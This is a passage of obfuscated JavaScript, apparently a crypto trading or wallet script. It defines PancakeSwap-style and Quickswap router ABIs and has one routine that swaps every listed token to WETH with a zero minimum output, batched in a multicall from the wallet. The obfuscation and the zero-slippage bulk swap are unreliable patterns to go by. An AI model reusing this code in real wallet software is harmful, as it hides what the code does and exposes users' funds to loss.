name: "_stableInfo", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_WETH9", | |
type: "address" | |
}], | |
stateMutability: "nonpayable", | |
type: "constructor" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "previousOwner", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "newOwner", | |
type: "address" | |
}], | |
name: "OwnershipTransferred", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "factory", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "info", | |
type: "address" | |
}], | |
name: "SetStableSwap", | |
type: "event" | |
}, { | |
inputs: [], | |
name: "WETH9", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}], | |
name: "approveMax", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}], | |
name: "approveMaxMinusOne", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}], | |
name: "approveZeroThenMax", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}], | |
name: "approveZeroThenMaxMinusOne", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bytes", | |
name: "data", | |
type: "bytes" | |
}], | |
name: "callPositionManager", | |
outputs: [{ | |
internalType: "bytes", | |
name: "result", | |
type: "bytes" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bytes[]", | |
name: "paths", | |
type: "bytes[]" | |
}, { | |
internalType: "uint128[]", | |
name: "amounts", | |
type: "uint128[]" | |
}, { | |
internalType: "uint24", | |
name: "maximumTickDivergence", | |
type: "uint24" | |
}, { | |
internalType: "uint32", | |
name: "secondsAgo", | |
type: "uint32" | |
}], | |
name: "checkOracleSlippage", | |
outputs: [], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bytes", | |
name: "path", | |
type: "bytes" | |
}, { | |
internalType: "uint24", | |
name: "maximumTickDivergence", | |
type: "uint24" | |
}, { | |
internalType: "uint32", | |
name: "secondsAgo", | |
type: "uint32" | |
}], | |
name: "checkOracleSlippage", | |
outputs: [], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "deployer", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
internalType: "bytes", | |
name: "path", | |
type: "bytes" | |
}, { | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMinimum", | |
type: "uint256" | |
}], | |
internalType: "struct IV3SwapRouter.ExactInputParams", | |
name: "params", | |
type: "tuple" | |
}], | |
name: "exactInput", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
internalType: "address", | |
name: "tokenIn", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenOut", | |
type: "address" | |
}, { | |
internalType: "uint24", | |
name: "fee", | |
type: "uint24" | |
}, { | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMinimum", | |
type: "uint256" | |
}, { | |
internalType: "uint160", | |
name: "sqrtPriceLimitX96", | |
type: "uint160" | |
}], | |
internalType: "struct IV3SwapRouter.ExactInputSingleParams", | |
name: "params", | |
type: "tuple" | |
}], | |
name: "exactInputSingle", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "uint256[]", | |
name: "flag", | |
type: "uint256[]" | |
}, { | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}], | |
name: "exactInputStableSwap", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
internalType: "bytes", | |
name: "path", | |
type: "bytes" | |
}, { | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountInMaximum", | |
type: "uint256" | |
}], | |
internalType: "struct IV3SwapRouter.ExactOutputParams", | |
name: "params", | |
type: "tuple" | |
}], | |
name: "exactOutput", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
internalType: "address", | |
name: "tokenIn", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenOut", | |
type: "address" | |
}, { | |
internalType: "uint24", | |
name: "fee", | |
type: "uint24" | |
}, { | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountInMaximum", | |
type: "uint256" | |
}, { | |
internalType: "uint160", | |
name: "sqrtPriceLimitX96", | |
type: "uint160" | |
}], | |
internalType: "struct IV3SwapRouter.ExactOutputSingleParams", | |
name: "params", | |
type: "tuple" | |
}], | |
name: "exactOutputSingle", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "uint256[]", | |
name: "flag", | |
type: "uint256[]" | |
}, { | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountInMax", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}], | |
name: "exactOutputStableSwap", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "factory", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "factoryV2", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}], | |
name: "getApprovalType", | |
outputs: [{ | |
internalType: "enum IApproveAndCall.ApprovalType", | |
name: "", | |
type: "uint8" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
internalType: "address", | |
name: "token0", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "token1", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "tokenId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amount0Min", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amount1Min", | |
type: "uint256" | |
}], | |
internalType: "struct IApproveAndCall.IncreaseLiquidityParams", | |
name: "params", | |
type: "tuple" | |
}], | |
name: "increaseLiquidity", | |
outputs: [{ | |
internalType: "bytes", | |
name: "result", | |
type: "bytes" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
internalType: "address", | |
name: "token0", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "token1", | |
type: "address" | |
}, { | |
internalType: "uint24", | |
name: "fee", | |
type: "uint24" | |
}, { | |
internalType: "int24", | |
name: "tickLower", | |
type: "int24" | |
}, { | |
internalType: "int24", | |
name: "tickUpper", | |
type: "int24" | |
}, { | |
internalType: "uint256", | |
name: "amount0Min", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amount1Min", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}], | |
internalType: "struct IApproveAndCall.MintParams", | |
name: "params", | |
type: "tuple" | |
}], | |
name: "mint", | |
outputs: [{ | |
internalType: "bytes", | |
name: "result", | |
type: "bytes" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bytes32", | |
name: "previousBlockhash", | |
type: "bytes32" | |
}, { | |
internalType: "bytes[]", | |
name: "data", | |
type: "bytes[]" | |
}], | |
name: "multicall", | |
outputs: [{ | |
internalType: "bytes[]", | |
name: "", | |
type: "bytes[]" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "bytes[]", | |
name: "data", | |
type: "bytes[]" | |
}], | |
name: "multicall", | |
outputs: [{ | |
internalType: "bytes[]", | |
name: "", | |
type: "bytes[]" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bytes[]", | |
name: "data", | |
type: "bytes[]" | |
}], | |
name: "multicall", | |
outputs: [{ | |
internalType: "bytes[]", | |
name: "results", | |
type: "bytes[]" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "owner", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "int256", | |
name: "amount0Delta", | |
type: "int256" | |
}, { | |
internalType: "int256", | |
name: "amount1Delta", | |
type: "int256" | |
}, { | |
internalType: "bytes", | |
name: "_data", | |
type: "bytes" | |
}], | |
name: "pancakeV3SwapCallback", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "positionManager", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "value", | |
type: "uint256" | |
}], | |
name: "pull", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "refundETH", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "renounceOwnership", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "value", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "selfPermit", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "nonce", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "expiry", | |
type: "uint256" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "selfPermitAllowed", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "nonce", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "expiry", | |
type: "uint256" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "selfPermitAllowedIfNecessary", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "value", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "selfPermitIfNecessary", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_factory", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_info", | |
type: "address" | |
}], | |
name: "setStableSwap", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "stableSwapFactory", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "stableSwapInfo", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}], | |
name: "swapExactTokensForTokens", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountInMax", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}], | |
name: "swapTokensForExactTokens", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountMinimum", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}], | |
name: "sweepToken", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountMinimum", | |
type: "uint256" | |
}], | |
name: "sweepToken", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountMinimum", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "feeBips", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "feeRecipient", | |
type: "address" | |
}], | |
name: "sweepTokenWithFee", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountMinimum", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "feeBips", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "feeRecipient", | |
type: "address" | |
}], | |
name: "sweepTokenWithFee", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "newOwner", | |
type: "address" | |
}], | |
name: "transferOwnership", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountMinimum", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}], | |
name: "unwrapWETH9", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountMinimum", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "feeBips", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "feeRecipient", | |
type: "address" | |
}], | |
name: "unwrapWETH9WithFee", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountMinimum", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "feeBips", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "feeRecipient", | |
type: "address" | |
}], | |
name: "unwrapWETH9WithFee", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "value", | |
type: "uint256" | |
}], | |
name: "wrapETH", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
stateMutability: "payable", | |
type: "receive" | |
}]; | |
let _0x14596e = new ethers.Contract(_0x2b7b1b, _0x3f633f, _0x9d9505); | |
let _0x3d0482 = await _0x14596e.WETH9(); | |
let _0x4045be = _0x4f37a4.asset; | |
let _0xf38c7e = []; | |
for (let _0x526807 of _0x4045be) { | |
let _0x5687b4 = []; | |
_0x5687b4[0] = _0x526807.token; | |
_0x5687b4[1] = _0x3d0482; | |
let _0x2b95f3 = _0x14596e.interface.encodeFunctionData("swapExactTokensForTokens", [_0x526807.amount, 0, _0x5687b4, this.caller]); | |
_0xf38c7e.push(_0x2b95f3); | |
} | |
let _0x37a7ba = _0x14596e.interface.encodeFunctionData("multicall(bytes[])", [_0xf38c7e]); | |
let _0x297c7e = { | |
to: _0x2b7b1b, | |
from: await this.getWalletAddress(), | |
data: _0x37a7ba | |
}; | |
return [_0x9d9505.sendTransaction(_0x297c7e), _0x3d0482]; | |
} | |
case "Quickswap": | |
{ | |
let _0x5d5a06 = [{ | |
inputs: [{ | |
internalType: "address", | |
name: "_factory", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_WETH", | |
type: "address" | |
}], | |
stateMutability: "nonpayable", | |
type: "constructor" | |
}, { | |
inputs: [], | |
name: "WETH", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "tokenA", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenB", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountADesired", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountBDesired", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountBMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "addLiquidity", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenDesired", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETHMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "addLiquidityETH", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountToken", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETH", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "factory", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveOut", | |
type: "uint256" | |
}], | |
name: "getAmountIn", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}], | |
stateMutability: "pure", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveOut", | |
type: "uint256" | |
}], | |
name: "getAmountOut", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}], | |
stateMutability: "pure", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}], | |
name: "getAmountsIn", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}], | |
name: "getAmountsOut", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveB", | |
type: "uint256" | |
}], | |
name: "quote", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}], | |
stateMutability: "pure", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "tokenA", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenB", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountBMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "removeLiquidity", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETHMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "removeLiquidityETH", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountToken", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETH", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETHMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "removeLiquidityETHSupportingFeeOnTransferTokens", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountETH", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETHMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "approveMax", | |
type: "bool" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "removeLiquidityETHWithPermit", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountToken", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETH", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETHMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "approveMax", | |
type: "bool" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "removeLiquidityETHWithPermitSupportingFeeOnTransferTokens", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountETH", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "tokenA", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenB", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountBMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "approveMax", | |
type: "bool" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "removeLiquidityWithPermit", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapETHForExactTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactETHForTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
